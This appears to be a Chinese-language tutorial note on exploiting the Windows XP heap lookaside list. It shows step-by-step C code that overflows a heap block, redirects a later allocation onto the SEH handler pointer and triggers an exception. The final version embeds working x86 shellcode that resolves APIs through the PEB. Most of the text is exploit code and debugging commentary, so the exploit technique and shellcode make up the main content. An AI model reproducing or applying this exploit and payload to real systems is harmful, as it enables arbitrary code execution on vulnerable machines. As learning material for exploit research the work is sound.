块表 也就是 lookaside表!!!!!!
这种方法 很难
条件:
1 memcpy 赋值
2 使用块表 有HeapAlloc 和 HeapFree后还有赋值等
3 两次 赋值
总的来说 这个知识点很重要 XP 下还可以
先构造如下:
后面发现 将 SEH handler 设置为 0x0012ffe4 更好些!!!!!!!!!!
#include <stdio.h>
#include <windows.h>
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
;
void main()
{
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x39\x00",4);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
第一次释放之后 块表区被修改了lookaside[2] 指向 被释放的块h3 块首中的下一堆块指针(因为我们先释放的h3)
经过两次释放之后 块表区被修改了lookaside[2] 指向 被释放的块h2 块首中的下一堆块指针
接下来看看 快表的堆块:
接下来开始赋值shellcode ··············
追寻 下一个 申请空间函数 进入 发现 将 lookaside[2] 的下一块首地址 赋值为了我们构造的 SEH handler 0x0012ffe4
(也就是 lookaside[2] 地址的值指向的值 再赋值到 lookaside[2] 地址上来)
只要向这个刚申请的空间中写入 shellcode就可以覆盖 SEH handler 接着
接着到达下面
注意这里的eax即为申请的内存地址······· 而这个地址恰恰就是 两次HeapFree之后的lookaside[2]的地址指向的值
接着
(也就是 lookaside[2] 地址的值指向的值 再赋值到 lookaside[2] 地址上来)
注意这里申请的地址 为 上一次 lookaside[2]的地址指向的值 也就是我们特殊构造的 SEH handler 地址 往这个地址赋值旧改变 异常处理流程了
最后往里面 赋值 003A1E90
触发异常后 eb 40 是我们特殊构造的 这里的值不会被程序覆盖掉
最终代码:
#include <stdio.h>
#include <windows.h>
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xb4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖 //根据实际情况调整
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main()
{
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
//__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x3a\x00",4);//根据实际情况调整
int zero=0;
zero=1/zero;
printf("%d",zero);
}